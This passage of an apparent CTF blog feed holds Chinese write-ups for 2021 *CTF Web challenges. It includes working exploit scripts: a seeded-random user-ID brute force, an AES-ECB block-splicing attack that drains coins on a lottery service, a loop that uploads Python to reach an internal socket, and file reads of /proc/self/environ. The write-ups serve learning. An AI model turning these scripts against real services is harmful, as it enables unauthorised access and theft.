class="keyword">in</span> c:</span><br><span class="line">        <span class="comment">#open(&#x27;out.tar&#x27;, &#x27;wb&#x27;).write(base64.b64decode(c))</span></span><br><span class="line">        print(base64.b64decode(c).decode())</span><br><span class="line">        <span class="keyword">break</span></span><br><span class="line"></span><br></pre></td></tr></table></figure><p>拖下来本地发现有个 /getflag，执行发现需要输入token，输入token得到了 flag，但是交上去不对…</p><p>猜测是不是必须要在远程跑，但是需要输入token，需要交互，想用<code>echo xx | /readflag</code>，但是发现 echo 都没有：</p><p><img src="/2021/03/08/2021-D3CTF/telegram-cloud-photo-size-5-6206472350153681829-y.jpg" alt="telegram-cloud-photo-size-5-6206472350153681829-y"></p><p>尝试逆向程序，发现生成flag的逻辑并没有很复杂，本地结果和远程结果应该是一样的。最后找出题人解决了flag错误的问题。</p>]]></content>
    
    
    <summary type="html">D^3CTF &amp; AntCTF 题解</summary>
    
    
    
    <category term="CTF" scheme="https://igml.top/categories/CTF/"/>
    
    <category term="wp" scheme="https://igml.top/categories/CTF/wp/"/>
    
    
    <category term="Web" scheme="https://igml.top/tags/Web/"/>
    
    <category term="wp" scheme="https://igml.top/tags/wp/"/>
    
    <category term="D^3CTF" scheme="https://igml.top/tags/D-3CTF/"/>
    
  </entry>
  
  <entry>
    <title>2021 *CTF Web 题解</title>
    <link href="https://igml.top/2021/01/19/2021-starctf/"/>
    <id>https://igml.top/2021/01/19/2021-starctf/</id>
    <published>2021-01-19T06:30:02.000Z</published>
    <updated>2021-01-19T07:06:20.067Z</updated>
    
    <content type="html"><![CDATA[<p>因为战队之前 XCTF 没怎么全员打，没有门票，*CTF是最后一次入场券了，所以周末跟队友全力打了下 *CTF。有点可惜，差了道 Web（背锅…</p><p><img src="/2021/01/19/2021-starctf/image-20210118183846729.png" alt="image-20210118183846729"></p><p>四道 Web，感觉除了 bet，剩下的都不那么 Web…</p><a id="more"></a><h1 id="Web"><a href="#Web" class="headerlink" title="Web"></a>Web</h1><h2 id="Oh-my-note"><a href="#Oh-my-note" class="headerlink" title="Oh-my-note"></a>Oh-my-note</h2><p>开始以为 SSTI 之类的，试了下发现不是。</p><p>通读代码也没啥点，有个奇怪的地方就是以一个已经存在的用户发帖子，没有登陆状态… 猜测是不是题目启动时候自动加的帖子有东西。</p><p>有了 userid 就可以看所有帖子了，看代码发现 userid 可以爆破出来：</p><p><img src="/2021/01/19/2021-starctf/X8zrVVzZLzrH2HYEi8qZUTBqvCv2bp9yMSKCCUf_53DxsMdTx68kq3GnqeME8aZYFxRQkcqK66nwi8SpLJC_iqCiJarpfvOtuX-wgAbkITlpxTb8wpdJPgL4rj1Qv4Jh7DNjL05H-20210118184107665.png" alt="img"></p><p>思路就是有了下面的post_at，在附近去爆破一下前面的timestamp，这样可以得到user_id了，然后可以查看前面那几个user的文章。</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> time, datetime</span><br><span class="line"><span class="keyword">import</span> string</span><br><span class="line"><span class="keyword">import</span> random</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">get_random_id</span>():</span></span><br><span class="line">    alphabet = <span class="built_in">list</span>(string.ascii_lowercase + string.digits)</span><br><span class="line">    <span class="keyword">return</span> <span class="string">&#x27;&#x27;</span>.join([random.choice(alphabet) <span class="keyword">for</span> _ <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">32</span>)])</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">post_at = <span class="string">&quot;2021-01-15 02:29 UTC&quot;</span></span><br><span class="line">timeArray = time.strptime(post_at, <span class="string">&quot;%Y-%m-%d %H:%M UTC&quot;</span>)</span><br><span class="line">init = <span class="built_in">int</span>(time.mktime(timeArray) - time.mktime(time.gmtime(<span class="number">0</span>)))</span><br><span class="line"><span class="comment"># print(init)</span></span><br><span class="line"><span class="keyword">for</span> j <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">-20</span>,<span class="number">20</span>):</span><br><span class="line">    timestamp = init - j</span><br><span class="line">    <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">10000</span>):</span><br><span class="line">        tmp = <span class="built_in">round</span>(i / <span class="number">10000</span>, <span class="number">4</span>)</span><br><span class="line">        res = timestamp + tmp</span><br><span class="line">        <span class="comment"># print(res)</span></span><br><span class="line">        random.seed(res)</span><br><span class="line">        user_id = get_random_id()</span><br><span class="line">        random.seed(user_id + post_at)</span><br><span class="line">        note_id = get_random_id()</span><br><span class="line">        <span class="comment"># print(note_id)</span></span><br><span class="line">        <span class="keyword">if</span> note_id == <span class="string">&#x27;lj40n2p9qj9xkzy3zfzz7pucm6dmjg1u&#x27;</span>:</span><br><span class="line">            print(user_id)</span><br></pre></td></tr></table></figure><p>注意下时区问题，有了 userid，note里有 flag：</p><img src="/2021/01/19/2021-starctf/uJAfYewzt3kIUrDpkRYuGOq-N6Jz4OAkZz2JYqrLa-lXBiLfRRSomaTKpMUiPhht5W9IkM-V2MCmfGmqGcXuHPFcB10p2fvolci7NeRyryypPyvaisvwVktpem6sBQX46QarnoBh.png" alt="img" style="zoom:50%;"><h2 id="lottery-again"><a href="#lottery-again" class="headerlink" title="lottery again"></a>lottery again</h2><p>2020 0CTF初赛改的，功能逻辑没改，当时题解：<a href="http://igml.top/2020/06/29/2020-TCTF-0CTF/#lottery">http://igml.top/2020/06/29/2020-TCTF-0CTF/#lottery</a> </p><p>2020 0CTF改的，发现逻辑几乎都没变，关键是加密算法变了。<code>mcrypt_encrypt(MCRYPT_RIJNDAEL_256, env(&#39;LOTTERY_KEY&#39;), $serilized, MCRYPT_MODE_ECB)</code>这不是正常的AES，密钥需要32字节，并且明文32字节为一组。</p><p>明文按照32字节分组：</p><figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">&#123;<span class="attr">&quot;lottery&quot;</span>:<span class="string">&quot;56505c44-f0d3-492a-b</span></span><br><span class="line"><span class="string">12b-0fa6bfc93c65&quot;</span>,<span class="attr">&quot;user&quot;</span>:<span class="string">&quot;edce28</span></span><br><span class="line"><span class="string">e4-bfea-41c5-8cc5-ec55104b745b&quot;</span>,</span><br><span class="line"><span class="attr">&quot;coin&quot;</span>:<span class="number">19</span>&#125;</span><br></pre></td></tr></table></figure><p>可以加一个第二个分组，搞成这样：</p><figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">&#123;<span class="attr">&quot;lottery&quot;</span>:<span class="string">&quot;56505c44-f0d3-492a-b</span></span><br><span class="line"><span class="string">12b-0fa6bfc93c65&quot;</span>,<span class="attr">&quot;user&quot;</span>:<span class="string">&quot;edce28</span></span><br><span class="line"><span class="string">xxxxxxxxxxxxxxxx&quot;</span>,<span class="attr">&quot;user&quot;</span>:<span class="string">&quot;edca28</span></span><br><span class="line"><span class="string">e4-bfea-41c5-8cc5-ec55104b745b&quot;</span>,</span><br><span class="line"><span class="attr">&quot;coin&quot;</span>:<span class="number">19</span>&#125;</span><br></pre></td></tr></table></figure><p>json_loads时，第二个user会覆盖掉前面的，这样后面的user我们可以完全控制，把钱都转到一个账户就行了。</p><p>为了加快速度，写了个多进程脚本：</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> requests</span><br><span class="line"><span class="keyword">from</span> multiprocessing <span class="keyword">import</span> Pool, Manager, Value</span><br><span class="line"><span class="keyword">import</span> random, string</span><br><span class="line"><span class="keyword">import</span> json</span><br><span class="line"><span class="keyword">from</span> base64 <span class="keyword">import</span> *</span><br><span class="line"></span><br><span class="line">url = <span class="string">&quot;http://52.149.144.45:8080/&quot;</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">register</span>():</span></span><br><span class="line">    user = <span class="string">&quot;&quot;</span>.join([random.choice(string.printable) <span class="keyword">for</span> _ <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">5</span>)])</span><br><span class="line">    session = requests.Session()</span><br><span class="line">    paramsPost = &#123;<span class="string">&quot;password&quot;</span>: user, <span class="string">&quot;username&quot;</span>: user&#125;</span><br><span class="line">    headers = &#123;<span class="string">&quot;Origin&quot;</span>: url, <span class="string">&quot;Accept&quot;</span>: <span class="string">&quot;*/*&quot;</span>, <span class="string">&quot;X-Requested-With&quot;</span>: <span class="string">&quot;XMLHttpRequest&quot;</span>,</span><br><span class="line">               <span class="string">&quot;User-Agent&quot;</span>: <span class="string">&quot;Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.106 Safari/537.36&quot;</span>,</span><br><span class="line">               <span class="string">&quot;Referer&quot;</span>: url + <span class="string">&quot;index.html&quot;</span>, <span class="string">&quot;Connection&quot;</span>: <span class="string">&quot;close&quot;</span>,</span><br><span class="line">               <span class="string">&quot;Accept-Language&quot;</span>: <span class="string">&quot;zh-CN,zh;q=0.9&quot;</span>,</span><br><span class="line">               <span class="string">&quot;Content-Type&quot;</span>: <span class="string">&quot;application/x-www-form-urlencoded; charset=UTF-8&quot;</span>&#125;</span><br><span class="line">    response = session.post(url + <span class="string">&quot;/user/register&quot;</span>, data=paramsPost, headers=headers)</span><br><span class="line">    data = response.content.strip()</span><br><span class="line">    data = json.loads(data)</span><br><span class="line">    uuid = data[<span class="string">&quot;user&quot;</span>][<span class="string">&quot;uuid&quot;</span>]</span><br><span class="line">    resp = session.post(url + <span class="string">&quot;/user/login&quot;</span>, data=&#123;<span class="string">&#x27;username&#x27;</span>: user, <span class="string">&#x27;password&#x27;</span>: user&#125;)</span><br><span class="line">    data = json.loads(resp.content.strip())</span><br><span class="line">    api_token = data[<span class="string">&quot;user&quot;</span>][<span class="string">&quot;api_token&quot;</span>]</span><br><span class="line">    <span class="keyword">return</span> &#123;<span class="string">&#x27;uuid&#x27;</span>: uuid, <span class="string">&#x27;api_token&#x27;</span>: api_token&#125;</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">buy</span>(<span class="params">api_token</span>):</span></span><br><span class="line">    session = requests.Session()</span><br><span class="line"></span><br><span class="line">    paramsPost = &#123;<span class="string">&quot;api_token&quot;</span>: api_token&#125;</span><br><span class="line">    headers = &#123;<span class="string">&quot;Origin&quot;</span>: <span class="string">&quot;http://52.149.144.45:8080&quot;</span>, <span class="string">&quot;Accept&quot;</span>: <span class="string">&quot;*/*&quot;</span>, <span class="string">&quot;X-Requested-With&quot;</span>: <span class="string">&quot;XMLHttpRequest&quot;</span>,</span><br><span class="line">               <span class="string">&quot;User-Agent&quot;</span>: <span class="string">&quot;Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36&quot;</span>,</span><br><span class="line">               <span class="string">&quot;Referer&quot;</span>: <span class="string">&quot;http://52.149.144.45:8080/user.html&quot;</span>, <span class="string">&quot;Connection&quot;</span>: <span class="string">&quot;close&quot;</span>,</span><br><span class="line">               <span class="string">&quot;Accept-Language&quot;</span>: <span class="string">&quot;zh-CN,zh;q=0.9&quot;</span>, <span class="string">&quot;Content-Type&quot;</span>: <span class="string">&quot;application/x-www-form-urlencoded; charset=UTF-8&quot;</span>&#125;</span><br><span class="line">    cookies = &#123;<span class="string">&quot;api_token&quot;</span>: <span class="string">&quot;A1k8zDLeR4lmwwuJaZUgpGRFg9AvT6e2&quot;</span>&#125;</span><br><span class="line">    response = session.post(<span class="string">&quot;http://52.149.144.45:8080/lottery/buy&quot;</span>, data=paramsPost, headers=headers, cookies=cookies)</span><br><span class="line">    <span class="keyword">return</span> json.loads(response.content.strip())[<span class="string">&#x27;enc&#x27;</span>]</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">info</span>(<span class="params">enc</span>):</span></span><br><span class="line">    session = requests.Session()</span><br><span class="line">    paramsPost = &#123;</span><br><span class="line">        <span class="string">&quot;enc&quot;</span>: enc&#125;</span><br><span class="line">    headers = &#123;<span class="string">&quot;Origin&quot;</span>: <span class="string">&quot;http://52.149.144.45:8080&quot;</span>, <span class="string">&quot;Accept&quot;</span>: <span class="string">&quot;*/*&quot;</span>, <span class="string">&quot;X-Requested-With&quot;</span>: <span class="string">&quot;XMLHttpRequest&quot;</span>,</span><br><span class="line">               <span class="string">&quot;User-Agent&quot;</span>: <span class="string">&quot;Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36&quot;</span>,</span><br><span class="line">               <span class="string">&quot;Referer&quot;</span>: <span class="string">&quot;http://52.149.144.45:8080/lottery.html&quot;</span>, <span class="string">&quot;Connection&quot;</span>: <span class="string">&quot;close&quot;</span>,</span><br><span class="line">               <span class="string">&quot;Accept-Language&quot;</span>: <span class="string">&quot;zh-CN,zh;q=0.9&quot;</span>, <span class="string">&quot;Content-Type&quot;</span>: <span class="string">&quot;application/x-www-form-urlencoded; charset=UTF-8&quot;</span>&#125;</span><br><span class="line">    cookies = &#123;<span class="string">&quot;api_token&quot;</span>: <span class="string">&quot;A1k8zDLeR4lmwwuJaZUgpGRFg9AvT6e2&quot;</span>&#125;</span><br><span class="line">    response = session.post(<span class="string">&quot;http://52.149.144.45:8080/lottery/info&quot;</span>, data=paramsPost, headers=headers, cookies=cookies,</span><br><span class="line">                            proxies=&#123;<span class="string">&#x27;http&#x27;</span>: <span class="string">&#x27;http://127.0.0.1:8080&#x27;</span>&#125;)</span><br><span class="line">    <span class="keyword">return</span> json.loads(response.content.strip())</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">charge</span>(<span class="params">coin, userid, enc</span>):</span></span><br><span class="line">    session = requests.Session()</span><br><span class="line"></span><br><span class="line">    paramsPost = &#123;</span><br><span class="line">        <span class="string">&quot;enc&quot;</span>: enc,</span><br><span class="line">        <span class="string">&quot;user&quot;</span>: userid, <span class="string">&quot;coin&quot;</span>: <span class="built_in">str</span>(coin)&#125;</span><br><span class="line">    headers = &#123;<span class="string">&quot;Origin&quot;</span>: <span class="string">&quot;http://52.149.144.45:8080&quot;</span>, <span class="string">&quot;Accept&quot;</span>: <span class="string">&quot;*/*&quot;</span>, <span class="string">&quot;X-Requested-With&quot;</span>: <span class="string">&quot;XMLHttpRequest&quot;</span>,</span><br><span class="line">               <span class="string">&quot;User-Agent&quot;</span>: <span class="string">&quot;Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36&quot;</span>,</span><br><span class="line">               <span class="string">&quot;Referer&quot;</span>: <span class="string">&quot;http://52.149.144.45:8080/lottery.html&quot;</span>, <span class="string">&quot;Connection&quot;</span>: <span class="string">&quot;close&quot;</span>,</span><br><span class="line">               <span class="string">&quot;Accept-Language&quot;</span>: <span class="string">&quot;zh-CN,zh;q=0.9&quot;</span>, <span class="string">&quot;Content-Type&quot;</span>: <span class="string">&quot;application/x-www-form-urlencoded; charset=UTF-8&quot;</span>&#125;</span><br><span class="line">    cookies = &#123;<span class="string">&quot;api_token&quot;</span>: <span class="string">&quot;A1k8zDLeR4lmwwuJaZUgpGRFg9AvT6e2&quot;</span>&#125;</span><br><span class="line">    response = session.post(<span class="string">&quot;http://52.149.144.45:8080/lottery/charge&quot;</span>, data=paramsPost, headers=headers,</span><br><span class="line">                            cookies=cookies, proxies=&#123;<span class="string">&#x27;http&#x27;</span>: <span class="string">&#x27;http://127.0.0.1:8080&#x27;</span>&#125;)</span><br><span class="line">    <span class="keyword">if</span> <span class="string">&quot;[]&quot;</span> <span class="keyword">not</span> <span class="keyword">in</span> response.content:</span><br><span class="line">        <span class="built_in">print</span> <span class="string">&quot;error!&quot;</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">attack</span>(<span class="params">init_enc, init_info</span>):</span></span><br><span class="line">    userid = init_info[<span class="string">&#x27;info&#x27;</span>][<span class="string">&#x27;user&#x27;</span>]</span><br><span class="line">    coin = init_info[<span class="string">&#x27;info&#x27;</span>][<span class="string">&#x27;coin&#x27;</span>]</span><br><span class="line">    init_enc = b64decode(init_enc)[<span class="number">32</span>:]</span><br><span class="line">    account = register()</span><br><span class="line">    api_token = account[<span class="string">&#x27;api_token&#x27;</span>]</span><br><span class="line">    enc = buy(api_token)</span><br><span class="line">    exp_enc = b64encode(b64decode(enc)[:<span class="number">64</span>] + init_enc)</span><br><span class="line">    <span class="comment"># print info(exp_enc)</span></span><br><span class="line">    charge(coin, userid, exp_enc)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">processPools</span>(<span class="params">init_enc, init_info</span>):</span></span><br><span class="line">    num = <span class="number">10</span></span><br><span class="line">    pool = Pool(processes=num)</span><br><span class="line">    jobs = []</span><br><span class="line">    manager = Manager()</span><br><span class="line">    <span class="built_in">dict</span> = manager.<span class="built_in">dict</span>()</span><br><span class="line">    now_num = manager.<span class="built_in">dict</span>()</span><br><span class="line">    now_num[<span class="string">&quot;num&quot;</span>] = <span class="number">0</span></span><br><span class="line">    <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">2</span> ** <span class="number">16</span>):</span><br><span class="line">        job = pool.apply_async(attack, (init_enc, init_info))</span><br><span class="line">        jobs.append(job)</span><br><span class="line">    pool.close()</span><br><span class="line">    pool.join()</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">&#x27;__main__&#x27;</span>:</span><br><span class="line">    init_account = register()</span><br><span class="line">    api_token = init_account[<span class="string">&#x27;api_token&#x27;</span>]</span><br><span class="line">    <span class="built_in">print</span> <span class="string">&quot;init account api_token&quot;</span>, api_token</span><br><span class="line">    init_enc = buy(api_token)</span><br><span class="line">    <span class="built_in">print</span> init_enc</span><br><span class="line">    init_info = info(init_enc)</span><br><span class="line">    <span class="built_in">print</span> init_info</span><br><span class="line">    processPools(init_enc, init_info)</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>拿着api_token去买flag就好了：</p><img src="/2021/01/19/2021-starctf/xnx2fpzm0THeHme62EjkDDiBzZdBWkttLwTOTITVUaJFIMQVK5ec1nf6gE3tiHfkIoLgJ61QSXxrN2Q4fJ938er7fhgUkdhPmV3LkiFan8fhVTOQ3TL1ERA3pH-9xGFqBNp7M9BF.png" alt="img" style="zoom:50%;"><h2 id="oh-my-socket"><a href="#oh-my-socket" class="headerlink" title="oh-my-socket"></a>oh-my-socket</h2><p>我们有webserver的shell（传个python随便执行，可以弹shell），然后另一个server容器监听21587端口，如果给他发*ctf，就把flag发过来。</p><p>但是由于这个client连着server的21587端口，导致我们无法连接。。。</p><p>本来写了个脚本监视大家的 exp，但是一下午也没抄到作业（可能把 exp 传到隐秘的目录去了），反而自己的监视脚本还被别人抄了23333。</p><p>不过看到有人在伪造源地址和目的地址在发 TCP 包，还有人一直在读<code>/proc/&lt;pid&gt;/net/netstat</code>，也没尝试。之后索性写了个脚本，一直不断连接 server 的21587端口，如果有人把那个连接打断了之类的，就可以马上上车了，结果就出了flag。</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br></pre></td><td class="code"><pre><span class="line">code = <span class="string">&#x27;&#x27;&#x27;</span></span><br><span class="line"><span class="string">from socket import *</span></span><br><span class="line"><span class="string">try:</span></span><br><span class="line"><span class="string">    tcpSerSock = socket(AF_INET, SOCK_STREAM)</span></span><br><span class="line"><span class="string">    tcpSerSock.connect((&#x27;172.21.0.2&#x27;, 21587))</span></span><br><span class="line"><span class="string">    tcpSerSock.send(b&#x27;*ctf&#x27;)</span></span><br><span class="line"><span class="string">    #tcpSerSock.send(b&#x27;GET /file?name=%2Fproc%2Fself%2Fenviron HTTP/1.1\\r\\n\\r\\n&#x27;)</span></span><br><span class="line"><span class="string">    print(tcpSerSock.recv(1280))</span></span><br><span class="line"><span class="string">except Exception as e:</span></span><br><span class="line"><span class="string">    print(&quot;ERROR&quot;, e)</span></span><br><span class="line"><span class="string">&#x27;&#x27;&#x27;</span></span><br><span class="line"><span class="keyword">import</span> requests</span><br><span class="line"></span><br><span class="line"><span class="keyword">while</span> <span class="literal">True</span>:</span><br><span class="line">    session = requests.Session()</span><br><span class="line"></span><br><span class="line">    paramsMultipart = [(<span class="string">&#x27;file&#x27;</span>, (<span class="string">&#x27;gml.py&#x27;</span>, code, <span class="string">&#x27;application/octet-stream&#x27;</span>))]</span><br><span class="line">    headers = &#123;<span class="string">&quot;Origin&quot;</span>: <span class="string">&quot;null&quot;</span>, <span class="string">&quot;Cache-Control&quot;</span>: <span class="string">&quot;max-age=0&quot;</span>,</span><br><span class="line">               <span class="string">&quot;Accept&quot;</span>: <span class="string">&quot;text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9&quot;</span>,</span><br><span class="line">               <span class="string">&quot;Upgrade-Insecure-Requests&quot;</span>: <span class="string">&quot;1&quot;</span>,</span><br><span class="line">               <span class="string">&quot;User-Agent&quot;</span>: <span class="string">&quot;Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36&quot;</span>,</span><br><span class="line">               <span class="string">&quot;Connection&quot;</span>: <span class="string">&quot;close&quot;</span>, <span class="string">&quot;Accept-Language&quot;</span>: <span class="string">&quot;zh-CN,zh;q=0.9&quot;</span>&#125;</span><br><span class="line">    <span class="keyword">try</span>:</span><br><span class="line">        response = session.post(<span class="string">&quot;http://101.33.124.168:5001/upload&quot;</span>, files=paramsMultipart, headers=headers,</span><br><span class="line">                            proxies=&#123;<span class="string">&#x27;http&#x27;</span>: <span class="string">&#x27;http://127.0.0.1:8080&#x27;</span>&#125;, timeout=<span class="number">4</span>)</span><br><span class="line">        res = response.content</span><br><span class="line">        <span class="keyword">if</span> <span class="string">&quot;*ctf&quot;</span> <span class="keyword">in</span> res:</span><br><span class="line">            <span class="built_in">print</span> <span class="string">&quot;success!&quot;</span></span><br><span class="line">            <span class="built_in">print</span> response.content</span><br><span class="line">            exit()</span><br><span class="line">    <span class="keyword">except</span>:</span><br><span class="line">        <span class="keyword">pass</span></span><br></pre></td></tr></table></figure><p><img src="/2021/01/19/2021-starctf/owMlBXy5xeDvpNAMdaJa3jpXKqCY4tfXNnI3O2KdT1f54jDZ7MLyPaybcy_IcQqEzI94nPVXYmr90Ne-wo7zI7nL9IdOUT3Imw_0ROCSwTafcf743Syp8uQ7KdpNTLNMdXeiAIuf.png" alt="img"></p><p>预期解是伪造一个从server到client的RST，从而断开连接，可以参考 L 战队师傅的 <a href="https://blog.frankli.site/2021/01/18/*CTF-2021-Web/#oh-my-socket">https://blog.frankli.site/2021/01/18/*CTF-2021-Web/#oh-my-socket</a>。看起来比赛的时候我抄到了真正的 exp，只是不知道怎么利用 2333。</p><p>没想到经常和实验室合作的钱志云老师 TCP 攻击的论文，还被用来出 CTF 题了（这就是现在的 CTF 么</p><h2 id="oh-my-bet"><a href="#oh-my-bet" class="headerlink" title="oh-my-bet"></a>oh-my-bet</h2><p>赛后复现的，这道题算是这次比赛质量最高的一道 Web了（唯一一道传统 Web</p><p>打开题目一看，没啥太多接口和功能，注册的时候头像处，任意文件读取：</p><p><img src="/2021/01/19/2021-starctf/0ndq9p7isv5O3w-1WnJbJVCmde2o8lyQnIqou7pwcoo6XKIjh6MDvPgc_tPtx-Tns041ivf31RdOhL2KG-XOO74MDYt1uA34dwBAPJd-av6xCFmyk6aejW9NXCS2rIGYcQ-FYTSD.png" alt="img"></p><p>常规套路，依次读取 <code>/proc/self/environ</code>，<code>/proc/self/cmdline</code>。读取 <code>/app/app.py</code>，<code>/app/utils.py</code>，<code>/app/config.py</code>。</p><p>关键的 utils.py：</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> os</span><br><span class="line"><span class="keyword">import</span> time</span><br><span class="line"><span 